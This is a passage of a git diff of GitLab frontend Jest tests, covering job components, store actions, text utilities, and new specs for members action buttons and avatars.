expect(findLink().exists()).toBe(false);
diff --git a/spec/frontend/jobs/components/unmet_prerequisites_block_spec.js b/spec/frontend/jobs/components/unmet_prerequisites_block_spec.js
index 68fcb321214..9092d3f8163 100644
--- a/spec/frontend/jobs/components/unmet_prerequisites_block_spec.js
+++ b/spec/frontend/jobs/components/unmet_prerequisites_block_spec.js
@@ -1,37 +1,41 @@
-import Vue from 'vue';
-import component from '~/jobs/components/unmet_prerequisites_block.vue';
-import mountComponent from '../../helpers/vue_mount_component_helper';
+import { shallowMount } from '@vue/test-utils';
+import { GlAlert, GlLink } from '@gitlab/ui';
+import UnmetPrerequisitesBlock from '~/jobs/components/unmet_prerequisites_block.vue';
describe('Unmet Prerequisites Block Job component', () => {
- const Component = Vue.extend(component);
- let vm;
+ let wrapper;
const helpPath = '/user/project/clusters/index.html#troubleshooting-failed-deployment-jobs';
- beforeEach(() => {
- vm = mountComponent(Component, {
- hasNoRunnersForProject: true,
- helpPath,
+ const createComponent = () => {
+ wrapper = shallowMount(UnmetPrerequisitesBlock, {
+ propsData: {
+ helpPath,
+ },
});
+ };
+
+ beforeEach(() => {
+ createComponent();
});
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
});
it('renders an alert with the correct message', () => {
- const container = vm.$el.querySelector('.js-failed-unmet-prerequisites');
+ const container = wrapper.find(GlAlert);
const alertMessage =
'This job failed because the necessary resources were not successfully created.';
expect(container).not.toBeNull();
- expect(container.innerHTML).toContain(alertMessage);
+ expect(container.text()).toContain(alertMessage);
});
it('renders link to help page', () => {
- const helpLink = vm.$el.querySelector('.js-help-path');
+ const helpLink = wrapper.find(GlLink);
expect(helpLink).not.toBeNull();
- expect(helpLink.innerHTML).toContain('More information');
- expect(helpLink.getAttribute('href')).toEqual(helpPath);
+ expect(helpLink.text()).toContain('More information');
+ expect(helpLink.attributes().href).toEqual(helpPath);
});
});
diff --git a/spec/frontend/jobs/mixins/delayed_job_mixin_spec.js b/spec/frontend/jobs/mixins/delayed_job_mixin_spec.js
index 2f7a6030650..2175610b7a6 100644
--- a/spec/frontend/jobs/mixins/delayed_job_mixin_spec.js
+++ b/spec/frontend/jobs/mixins/delayed_job_mixin_spec.js
@@ -44,34 +44,84 @@ describe('DelayedJobMixin', () => {
});
});
- describe('if job is delayed job', () => {
- let remainingTimeInMilliseconds = 42000;
+ describe('in REST component', () => {
+ describe('if job is delayed job', () => {
+ let remainingTimeInMilliseconds = 42000;
- beforeEach(() => {
- jest
- .spyOn(Date, 'now')
- .mockImplementation(
- () => new Date(delayedJobFixture.scheduled_at).getTime() - remainingTimeInMilliseconds,
- );
+ beforeEach(() => {
+ jest
+ .spyOn(Date, 'now')
+ .mockImplementation(
+ () => new Date(delayedJobFixture.scheduled_at).getTime() - remainingTimeInMilliseconds,
+ );
- vm = mountComponent(dummyComponent, {
- job: delayedJobFixture,
+ vm = mountComponent(dummyComponent, {
+ job: delayedJobFixture,
+ });
+ });
+
+ describe('after mounting', () => {
+ beforeEach(() => vm.$nextTick());
+
+ it('sets remaining time', () => {
+ expect(vm.$el.innerText).toBe('00:00:42');
+ });
+
+ it('updates remaining time', () => {
+ remainingTimeInMilliseconds = 41000;
+ jest.advanceTimersByTime(1000);
+
+ return vm.$nextTick().then(() => {
+ expect(vm.$el.innerText).toBe('00:00:41');
+ });
+ });
});
});
+ });
- describe('after mounting', () => {
- beforeEach(() => vm.$nextTick());
+ describe('in GraphQL component', () => {
+ const mockGraphQlJob = {
+ name: 'build_b',
+ scheduledAt: new Date(delayedJobFixture.scheduled_at),
+ status: {
+ icon: 'status_success',
+ tooltip: 'passed',
+ hasDetails: true,
+ detailsPath: '/root/abcd-dag/-/jobs/1515',
+ group: 'success',
+ action: null,
+ },
+ };
+
+ describe('if job is delayed job', () => {
+ let remainingTimeInMilliseconds = 42000;
- it('sets remaining time', () => {
- expect(vm.$el.innerText).toBe('00:00:42');
+ beforeEach(() => {
+ jest
+ .spyOn(Date, 'now')
+ .mockImplementation(
+ () => mockGraphQlJob.scheduledAt.getTime() - remainingTimeInMilliseconds,
+ );
+
+ vm = mountComponent(dummyComponent, {
+ job: mockGraphQlJob,
+ });
});
- it('updates remaining time', () => {
- remainingTimeInMilliseconds = 41000;
- jest.advanceTimersByTime(1000);
+ describe('after mounting', () => {
+ beforeEach(() => vm.$nextTick());
+
+ it('sets remaining time', () => {
+ expect(vm.$el.innerText).toBe('00:00:42');
+ });
+
+ it('updates remaining time', () => {
+ remainingTimeInMilliseconds = 41000;
+ jest.advanceTimersByTime(1000);
- return vm.$nextTick().then(() => {
- expect(vm.$el.innerText).toBe('00:00:41');
+ return vm.$nextTick().then(() => {
+ expect(vm.$el.innerText).toBe('00:00:41');
+ });
});
});
});
diff --git a/spec/frontend/jobs/store/actions_spec.js b/spec/frontend/jobs/store/actions_spec.js
index 91bd5521f70..26547d12ac7 100644
--- a/spec/frontend/jobs/store/actions_spec.js
+++ b/spec/frontend/jobs/store/actions_spec.js
@@ -27,6 +27,7 @@ import {
hideSidebar,
showSidebar,
toggleSidebar,
+ triggerManualJob,
} from '~/jobs/store/actions';
import state from '~/jobs/store/state';
import * as types from '~/jobs/store/mutation_types';
@@ -158,6 +159,32 @@ describe('Job State actions', () => {
);
});
});
+
+ it('fetchTrace is called only if the job has started or has a trace', done => {
+ mock.onGet(`${TEST_HOST}/endpoint.json`).replyOnce(200, { id: 121212, name: 'karma' });
+
+ mockedState.job.started = true;
+
+ testAction(
+ fetchJob,
+ null,
+ mockedState,
+ [],
+ [
+ {
+ type: 'requestJob',
+ },
+ {
+ payload: { id: 121212, name: 'karma' },
+ type: 'receiveJobSuccess',
+ },
+ {
+ type: 'fetchTrace',
+ },
+ ],
+ done,
+ );
+ });
});
describe('receiveJobSuccess', () => {
@@ -509,4 +536,43 @@ describe('Job State actions', () => {
);
});
});
+
+ describe('triggerManualJob', () => {
+ let mock;
+
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
+ it('should dispatch fetchTrace', done => {
+ const playManualJobEndpoint = `${TEST_HOST}/manual-job/jobs/1000/play`;
+
+ mock.onPost(playManualJobEndpoint).reply(200);
+
+ mockedState.job = {
+ status: {
+ action: {
+ path: playManualJobEndpoint,
+ },
+ },
+ };
+
+ testAction(
+ triggerManualJob,
+ [{ id: '1', key: 'test_var', secret_value: 'test_value' }],
+ mockedState,
+ [],
+ [
+ {
+ type: 'fetchTrace',
+ },
+ ],
+ done,
+ );
+ });
+ });
});
diff --git a/spec/frontend/jobs/store/mutations_spec.js b/spec/frontend/jobs/store/mutations_spec.js
index 608abc8f7c4..a8146ba93eb 100644
--- a/spec/frontend/jobs/store/mutations_spec.js
+++ b/spec/frontend/jobs/store/mutations_spec.js
@@ -153,6 +153,7 @@ describe('Jobs Store Mutations', () => {
mutations[types.SET_TRACE_TIMEOUT](stateCopy, id);
expect(stateCopy.traceTimeout).toEqual(id);
+ expect(stateCopy.isTraceComplete).toBe(false);
});
});
diff --git a/spec/frontend/lib/utils/common_utils_spec.js b/spec/frontend/lib/utils/common_utils_spec.js
index 09eb362c77e..433fb368f55 100644
--- a/spec/frontend/lib/utils/common_utils_spec.js
+++ b/spec/frontend/lib/utils/common_utils_spec.js
@@ -220,6 +220,7 @@ describe('common_utils', () => {
beforeEach(() => {
elem = document.createElement('div');
window.innerHeight = windowHeight;
+ window.mrTabs = { currentAction: 'show' };
jest.spyOn($.fn, 'animate');
jest.spyOn($.fn, 'offset').mockReturnValue({ top: elemTop });
});
@@ -525,8 +526,8 @@ describe('common_utils', () => {
});
it('should set svg className when passed', () => {
- expect(commonUtils.spriteIcon('test', 'fa fa-test')).toEqual(
- '<svg class="fa fa-test"><use xlink:href="icons.svg#test" /></svg>',
+ expect(commonUtils.spriteIcon('test', 'first-icon-class second-icon-class')).toEqual(
+ '<svg class="first-icon-class second-icon-class"><use xlink:href="icons.svg#test" /></svg>',
);
});
});
diff --git a/spec/frontend/lib/utils/text_utility_spec.js b/spec/frontend/lib/utils/text_utility_spec.js
index d7cedb939d2..9c50bf577dc 100644
--- a/spec/frontend/lib/utils/text_utility_spec.js
+++ b/spec/frontend/lib/utils/text_utility_spec.js
@@ -340,4 +340,27 @@ describe('text_utility', () => {
expect(textUtils.isValidSha1Hash(hash)).toBe(valid);
});
});
+
+ describe('insertFinalNewline', () => {
+ it.each`
+ input | output
+ ${'some text'} | ${'some text\n'}
+ ${'some text\n'} | ${'some text\n'}
+ ${'some text\n\n'} | ${'some text\n\n'}
+ ${'some\n text'} | ${'some\n text\n'}
+ `('adds a newline if it doesnt already exist for input: $input', ({ input, output }) => {
+ expect(textUtils.insertFinalNewline(input)).toBe(output);
+ });
+
+ it.each`
+ input | output
+ ${'some text'} | ${'some text\r\n'}
+ ${'some text\r\n'} | ${'some text\r\n'}
+ ${'some text\n'} | ${'some text\n\r\n'}
+ ${'some text\r\n\r\n'} | ${'some text\r\n\r\n'}
+ ${'some\r\n text'} | ${'some\r\n text\r\n'}
+ `('works with CRLF newline style; input: $input', ({ input, output }) => {
+ expect(textUtils.insertFinalNewline(input, '\r\n')).toBe(output);
+ });
+ });
});
diff --git a/spec/frontend/maintenance_mode_settings/components/app_spec.js b/spec/frontend/maintenance_mode_settings/components/app_spec.js
deleted file mode 100644
index ad753642e85..00000000000
--- a/spec/frontend/maintenance_mode_settings/components/app_spec.js
+++ /dev/null
@@ -1,42 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlToggle, GlFormTextarea, GlButton } from '@gitlab/ui';
-import MaintenanceModeSettingsApp from '~/maintenance_mode_settings/components/app.vue';
-
-describe('MaintenanceModeSettingsApp', () => {
- let wrapper;
-
- const createComponent = () => {
- wrapper = shallowMount(MaintenanceModeSettingsApp);
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const findMaintenanceModeSettingsContainer = () => wrapper.find('article');
- const findGlToggle = () => wrapper.find(GlToggle);
- const findGlFormTextarea = () => wrapper.find(GlFormTextarea);
- const findGlButton = () => wrapper.find(GlButton);
-
- describe('template', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('renders the Maintenance Mode Settings container', () => {
- expect(findMaintenanceModeSettingsContainer().exists()).toBe(true);
- });
-
- it('renders the GlToggle', () => {
- expect(findGlToggle().exists()).toBe(true);
- });
-
- it('renders the GlFormTextarea', () => {
- expect(findGlFormTextarea().exists()).toBe(true);
- });
-
- it('renders the GlButton', () => {
- expect(findGlButton().exists()).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js
new file mode 100644
index 00000000000..9a8434a1222
--- /dev/null
+++ b/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js
@@ -0,0 +1,108 @@
+import { shallowMount } from '@vue/test-utils';
+import AccessRequestActionButtons from '~/members/components/action_buttons/access_request_action_buttons.vue';
+import RemoveMemberButton from '~/members/components/action_buttons/remove_member_button.vue';
+import ApproveAccessRequestButton from '~/members/components/action_buttons/approve_access_request_button.vue';
+import { accessRequest as member } from '../../mock_data';
+
+describe('AccessRequestActionButtons', () => {
+ let wrapper;
+
+ const createComponent = (propsData = {}) => {
+ wrapper = shallowMount(AccessRequestActionButtons, {
+ propsData: {
+ member,
+ isCurrentUser: true,
+ ...propsData,
+ },
+ });
+ };
+
+ const findRemoveMemberButton = () => wrapper.find(RemoveMemberButton);
+ const findApproveButton = () => wrapper.find(ApproveAccessRequestButton);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when user has `canRemove` permissions', () => {
+ beforeEach(() => {
+ createComponent({
+ permissions: {
+ canRemove: true,
+ },
+ });
+ });
+
+ it('renders remove member button', () => {
+ expect(findRemoveMemberButton().exists()).toBe(true);
+ });
+
+ it('sets props correctly', () => {
+ expect(findRemoveMemberButton().props()).toMatchObject({
+ memberId: member.id,
+ title: 'Deny access',
+ isAccessRequest: true,
+ icon: 'close',
+ });
+ });
+
+ describe('when member is the current user', () => {
+ it('sets `message` prop correctly', () => {
+ expect(findRemoveMemberButton().props('message')).toBe(
+ `Are you sure you want to withdraw your access request for "${member.source.name}"`,
+ );
+ });
+ });
+
+ describe('when member is not the current user', () => {
+ it('sets `message` prop correctly', () => {
+ createComponent({
+ isCurrentUser: false,
+ permissions: {
+ canRemove: true,
+ },
+ });
+
+ expect(findRemoveMemberButton().props('message')).toBe(
+ `Are you sure you want to deny ${member.user.name}'s request to join "${member.source.name}"`,
+ );
+ });
+ });
+ });
+
+ describe('when user does not have `canRemove` permissions', () => {
+ it('does not render remove member button', () => {
+ createComponent({
+ permissions: {
+ canRemove: false,
+ },
+ });
+
+ expect(findRemoveMemberButton().exists()).toBe(false);
+ });
+ });
+
+ describe('when user has `canUpdate` permissions', () => {
+ it('renders the approve button', () => {
+ createComponent({
+ permissions: {
+ canUpdate: true,
+ },
+ });
+
+ expect(findApproveButton().exists()).toBe(true);
+ });
+ });
+
+ describe('when user does not have `canUpdate` permissions', () => {
+ it('does not render the approve button', () => {
+ createComponent({
+ permissions: {
+ canUpdate: false,
+ },
+ });
+
+ expect(findApproveButton().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/members/components/action_buttons/approve_access_request_button_spec.js b/spec/frontend/members/components/action_buttons/approve_access_request_button_spec.js
new file mode 100644
index 00000000000..7ce2c633bb3
--- /dev/null
+++ b/spec/frontend/members/components/action_buttons/approve_access_request_button_spec.js
@@ -0,0 +1,74 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { GlButton, GlForm } from '@gitlab/ui';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import ApproveAccessRequestButton from '~/members/components/action_buttons/approve_access_request_button.vue';
+
+jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('ApproveAccessRequestButton', () => {
+ let wrapper;
+
+ const createStore = (state = {}) => {
+ return new Vuex.Store({
+ state: {
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ ...state,
+ },
+ });
+ };
+
+ const createComponent = (propsData = {}, state) => {
+ wrapper = shallowMount(ApproveAccessRequestButton, {
+ localVue,
+ store: createStore(state),
+ propsData: {
+ memberId: 1,
+ ...propsData,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ const findForm = () => wrapper.find(GlForm);
+ const findButton = () => findForm().find(GlButton);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('displays a tooltip', () => {
+ const button = findButton();
+
+ expect(getBinding(button.element, 'gl-tooltip')).not.toBeUndefined();
+ expect(button.attributes('title')).toBe('Grant access');
+ });
+
+ it('sets `aria-label` attribute', () => {
+ expect(findButton().attributes('aria-label')).toBe('Grant access');
+ });
+
+ it('submits the form when button is clicked', () => {
+ expect(findButton().attributes('type')).toBe('submit');
+ });
+
+ it('displays form with correct action and inputs', () => {
+ const form = findForm();
+
+ expect(form.attributes('action')).toBe(
+ '/groups/foo-bar/-/group_members/1/approve_access_request',
+ );
+ expect(form.find('input[name="authenticity_token"]').attributes('value')).toBe(
+ 'mock-csrf-token',
+ );
+ });
+});
diff --git a/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js
new file mode 100644
index 00000000000..887b21dc1d0
--- /dev/null
+++ b/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js
@@ -0,0 +1,85 @@
+import { shallowMount } from '@vue/test-utils';
+import InviteActionButtons from '~/members/components/action_buttons/invite_action_buttons.vue';
+import RemoveMemberButton from '~/members/components/action_buttons/remove_member_button.vue';
+import ResendInviteButton from '~/members/components/action_buttons/resend_invite_button.vue';
+import { invite as member } from '../../mock_data';
+
+describe('InviteActionButtons', () => {
+ let wrapper;
+
+ const createComponent = (propsData = {}) => {
+ wrapper = shallowMount(InviteActionButtons, {
+ propsData: {
+ member,
+ ...propsData,
+ },
+ });
+ };
+
+ const findRemoveMemberButton = () => wrapper.find(RemoveMemberButton);
+ const findResendInviteButton = () => wrapper.find(ResendInviteButton);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when user has `canRemove` permissions', () => {
+ beforeEach(() => {
+ createComponent({
+ permissions: {
+ canRemove: true,
+ },
+ });
+ });
+
+ it('renders remove member button', () => {
+ expect(findRemoveMemberButton().exists()).toBe(true);
+ });
+
+ it('sets props correctly', () => {
+ expect(findRemoveMemberButton().props()).toEqual({
+ memberId: member.id,
+ message: `Are you sure you want to revoke the invitation for ${member.invite.email} to join "${member.source.name}"`,
+ title: 'Revoke invite',
+ isAccessRequest: false,
+ icon: 'remove',
+ });
+ });
+ });
+
+ describe('when user does not have `canRemove` permissions', () => {
+ it('does not render remove member button', () => {
+ createComponent({
+ permissions: {
+ canRemove: false,
+ },
+ });
+
+ expect(findRemoveMemberButton().exists()).toBe(false);
+ });
+ });
+
+ describe('when user has `canResend` permissions', () => {
+ it('renders resend invite button', () => {
+ createComponent({
+ permissions: {
+ canResend: true,
+ },
+ });
+
+ expect(findResendInviteButton().exists()).toBe(true);
+ });
+ });
+
+ describe('when user does not have `canResend` permissions', () => {
+ it('does not render resend invite button', () => {
+ createComponent({
+ permissions: {
+ canResend: false,
+ },
+ });
+
+ expect(findResendInviteButton().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/members/components/action_buttons/leave_button_spec.js b/spec/frontend/members/components/action_buttons/leave_button_spec.js
new file mode 100644
index 00000000000..2afe112c74b
--- /dev/null
+++ b/spec/frontend/members/components/action_buttons/leave_button_spec.js
@@ -0,0 +1,59 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlButton } from '@gitlab/ui';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import LeaveButton from '~/members/components/action_buttons/leave_button.vue';
+import LeaveModal from '~/members/components/modals/leave_modal.vue';
+import { LEAVE_MODAL_ID } from '~/members/constants';
+import { member } from '../../mock_data';
+
+describe('LeaveButton', () => {
+ let wrapper;
+
+ const createComponent = (propsData = {}) => {
+ wrapper = shallowMount(LeaveButton, {
+ propsData: {
+ member,
+ ...propsData,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ GlModal: createMockDirective(),
+ },
+ });
+ };
+
+ const findButton = () => wrapper.find(GlButton);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('displays a tooltip', () => {
+ const button = findButton();
+
+ expect(getBinding(button.element, 'gl-tooltip')).not.toBeUndefined();
+ expect(button.attributes('title')).toBe('Leave');
+ });
+
+ it('sets `aria-label` attribute', () => {
+ expect(findButton().attributes('aria-label')).toBe('Leave');
+ });
+
+ it('renders leave modal', () => {
+ const leaveModal = wrapper.find(LeaveModal);
+
+ expect(leaveModal.exists()).toBe(true);
+ expect(leaveModal.props('member')).toEqual(member);
+ });
+
+ it('triggers leave modal', () => {
+ const binding = getBinding(findButton().element, 'gl-modal');
+
+ expect(binding).not.toBeUndefined();
+ expect(binding.value).toBe(LEAVE_MODAL_ID);
+ });
+});
diff --git a/spec/frontend/members/components/action_buttons/remove_group_link_button_spec.js b/spec/frontend/members/components/action_buttons/remove_group_link_button_spec.js
new file mode 100644
index 00000000000..45283788676
--- /dev/null
+++ b/spec/frontend/members/components/action_buttons/remove_group_link_button_spec.js
@@ -0,0 +1,64 @@
+import { mount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { GlButton } from '@gitlab/ui';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import RemoveGroupLinkButton from '~/members/components/action_buttons/remove_group_link_button.vue';
+import { group } from '../../mock_data';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('RemoveGroupLinkButton', () => {
+ let wrapper;
+
+ const actions = {
+ showRemoveGroupLinkModal: jest.fn(),
+ };
+
+ const createStore = () => {
+ return new Vuex.Store({
+ actions,
+ });
+ };
+
+ const createComponent = () => {
+ wrapper = mount(RemoveGroupLinkButton, {
+ localVue,
+ store: createStore(),
+ propsData: {
+ groupLink: group,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ const findButton = () => wrapper.find(GlButton);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('displays a tooltip', () => {
+ const button = findButton();
+
+ expect(getBinding(button.element, 'gl-tooltip')).not.toBeUndefined();
+ expect(button.attributes('title')).toBe('Remove group');
+ });
+
+ it('sets `aria-label` attribute', () => {
+ expect(findButton().attributes('aria-label')).toBe('Remove group');
+ });
+
+ it('calls Vuex action to open remove group link modal when clicked', () => {
+ findButton().trigger('click');
+
+ expect(actions.showRemoveGroupLinkModal).toHaveBeenCalledWith(expect.any(Object), group);
+ });
+});
diff --git a/spec/frontend/members/components/action_buttons/remove_member_button_spec.js b/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
new file mode 100644
index 00000000000..437b3e705a4
--- /dev/null
+++ b/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
@@ -0,0 +1,66 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import RemoveMemberButton from '~/members/components/action_buttons/remove_member_button.vue';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('RemoveMemberButton', () => {
+ let wrapper;
+
+ const createStore = (state = {}) => {
+ return new Vuex.Store({
+ state: {
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ ...state,
+ },
+ });
+ };
+
+ const createComponent = (propsData = {}, state) => {
+ wrapper = shallowMount(RemoveMemberButton, {
+ localVue,
+ store: createStore(state),
+ propsData: {
+ memberId: 1,
+ message: 'Are you sure you want to remove John Smith?',
+ title: 'Remove member',
+ isAccessRequest: true,
+ ...propsData,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('sets attributes on button', () => {
+ createComponent();
+
+ expect(wrapper.attributes()).toMatchObject({
+ 'data-member-path': '/groups/foo-bar/-/group_members/1',
+ 'data-message': 'Are you sure you want to remove John Smith?',
+ 'data-is-access-request': 'true',
+ 'aria-label': 'Remove member',
+ title: 'Remove member',
+ icon: 'remove',
+ });
+ });
+
+ it('displays `title` prop as a tooltip', () => {
+ createComponent();
+
+ expect(getBinding(wrapper.element, 'gl-tooltip')).not.toBeUndefined();
+ });
+
+ it('has CSS class used by `remove_member_modal.vue`', () => {
+ createComponent();
+
+ expect(wrapper.classes()).toContain('js-remove-member-button');
+ });
+});
diff --git a/spec/frontend/members/components/action_buttons/resend_invite_button_spec.js b/spec/frontend/members/components/action_buttons/resend_invite_button_spec.js
new file mode 100644
index 00000000000..a48942dd277
--- /dev/null
+++ b/spec/frontend/members/components/action_buttons/resend_invite_button_spec.js
@@ -0,0 +1,66 @@
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import { GlButton } from '@gitlab/ui';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import ResendInviteButton from '~/members/components/action_buttons/resend_invite_button.vue';
+
+jest.mock('~/lib/utils/csrf', () => ({ token: 'mock-csrf-token' }));
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('ResendInviteButton', () => {
+ let wrapper;
+
+ const createStore = (state = {}) => {
+ return new Vuex.Store({
+ state: {
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ ...state,
+ },
+ });
+ };
+
+ const createComponent = (propsData = {}, state) => {
+ wrapper = shallowMount(ResendInviteButton, {
+ localVue,
+ store: createStore(state),
+ propsData: {
+ memberId: 1,
+ ...propsData,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ const findForm = () => wrapper.find('form');
+ const findButton = () => findForm().find(GlButton);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('displays a tooltip', () => {
+ expect(getBinding(findButton().element, 'gl-tooltip')).not.toBeUndefined();
+ expect(findButton().attributes('title')).toBe('Resend invite');
+ });
+
+ it('submits the form when button is clicked', () => {
+ expect(findButton().attributes('type')).toBe('submit');
+ });
+
+ it('displays form with correct action and inputs', () => {
+ expect(findForm().attributes('action')).toBe('/groups/foo-bar/-/group_members/1/resend_invite');
+ expect(
+ findForm()
+ .find('input[name="authenticity_token"]')
+ .attributes('value'),
+ ).toBe('mock-csrf-token');
+ });
+});
diff --git a/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
new file mode 100644
index 00000000000..b03e80a537d
--- /dev/null
+++ b/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
@@ -0,0 +1,89 @@
+import { shallowMount } from '@vue/test-utils';
+import UserActionButtons from '~/members/components/action_buttons/user_action_buttons.vue';
+import RemoveMemberButton from '~/members/components/action_buttons/remove_member_button.vue';
+import LeaveButton from '~/members/components/action_buttons/leave_button.vue';
+import { member, orphanedMember } from '../../mock_data';
+
+describe('UserActionButtons', () => {
+ let wrapper;
+
+ const createComponent = (propsData = {}) => {
+ wrapper = shallowMount(UserActionButtons, {
+ propsData: {
+ member,
+ isCurrentUser: false,
+ ...propsData,
+ },
+ });
+ };
+
+ const findRemoveMemberButton = () => wrapper.find(RemoveMemberButton);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when user has `canRemove` permissions', () => {
+ beforeEach(() => {
+ createComponent({
+ permissions: {
+ canRemove: true,
+ },
+ });
+ });
+
+ it('renders remove member button', () => {
+ expect(findRemoveMemberButton().exists()).toBe(true);
+ });
+
+ it('sets props correctly', () => {
+ expect(findRemoveMemberButton().props()).toEqual({
+ memberId: member.id,
+ message: `Are you sure you want to remove ${member.user.name} from "${member.source.name}"`,
+ title: 'Remove member',
+ isAccessRequest: false,
+ icon: 'remove',
+ });
+ });
+
+ describe('when member is orphaned', () => {
+ it('sets `message` prop correctly', () => {
+ createComponent({
+ member: orphanedMember,
+ permissions: {
+ canRemove: true,
+ },
+ });
+
+ expect(findRemoveMemberButton().props('message')).toBe(
+ `Are you sure you want to remove this orphaned member from "${orphanedMember.source.name}"`,
+ );
+ });
+ });
+
+ describe('when member is the current user', () => {
+ it('renders leave button', () => {
+ createComponent({
+ isCurrentUser: true,
+ permissions: {
+ canRemove: true,
+ },
+ });
+
+ expect(wrapper.find(LeaveButton).exists()).toBe(true);
+ });
+ });
+ });
+
+ describe('when user does not have `canRemove` permissions', () => {
+ it('does not render remove member button', () => {
+ createComponent({
+ permissions: {
+ canRemove: false,
+ },
+ });
+
+ expect(findRemoveMemberButton().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/members/components/avatars/group_avatar_spec.js b/spec/frontend/members/components/avatars/group_avatar_spec.js
new file mode 100644
index 00000000000..658bb9462b0
--- /dev/null
+++ b/spec/frontend/members/components/avatars/group_avatar_spec.js
@@ -0,0 +1,46 @@
+import { mount, createWrapper } from '@vue/test-utils';
+import { getByText as getByTextHelper } from '@testing-library/dom';
+import { GlAvatarLink } from '@gitlab/ui';
+import { group as member } from '../../mock_data';
+import GroupAvatar from '~/members/components/avatars/group_avatar.vue';
+
+describe('MemberList', () => {
+ let wrapper;
+
+ const group = member.sharedWithGroup;
+
+ const createComponent = (propsData = {}) => {
+ wrapper = mount(GroupAvatar, {
+ propsData: {
+ member,
+ ...propsData,
+ },
+ });
+ };
+
+ const getByText = (text, options) =>
+ createWrapper(getByTextHelper(wrapper.element, text, options));
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders link to group', () => {
+ const link = wrapper.find(GlAvatarLink);
+
+ expect(link.exists()).toBe(true);
+ expect(link.attributes('href')).toBe(group.webUrl);
+ });
+
+ it("renders group's full name", () => {
+ expect(getByText(group.fullName).exists()).toBe(true);
+ });
+
+ it("renders group's avatar", () => {
+ expect(wrapper.find('img').attributes('src')).toBe(group.avatarUrl);
+ });
+});
diff --git a/spec/frontend/members/components/avatars/invite_avatar_spec.js b/spec/frontend/members/components/avatars/invite_avatar_spec.js
new file mode 100644
index 00000000000..13ee727528b
--- /dev/null
+++ b/spec/frontend/members/components/avatars/invite_avatar_spec.js
@@ -0,0 +1,38 @@
+import { mount, createWrapper } from '@vue/test-utils';
+import { getByText as getByTextHelper } from '@testing-library/dom';
+import { invite as member } from '../../mock_data';
+import InviteAvatar from '~/members/components/avatars/invite_avatar.vue';
+
+describe('MemberList', () => {
+ let wrapper;
+
+ const { invite } = member;
+
+ const createComponent = (propsData = {}) => {
+ wrapper = mount(InviteAvatar, {
+ propsData: {
+ member,
+ ...propsData,
+ },
+ });
+ };
+
+ const getByText = (text, options) =>
+ createWrapper(getByTextHelper(wrapper.element, text, options));
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders email as name', () => {
+ expect(getByText(invite.email).exists()).toBe(true);
+ });
+
+ it('renders avatar', () => {
+ expect(wrapper.find('img').attributes('src')).toBe(invite.avatarUrl);
+ });
+});
diff --git a/spec/frontend/members/components/avatars/user_avatar_spec.js b/spec/frontend/members/components/avatars/user_avatar_spec.js
new file mode 100644
index 00000000000..7d6a9065975
--- /dev/null
+++ b/spec/frontend/members/components/avatars/user_avatar_spec.js
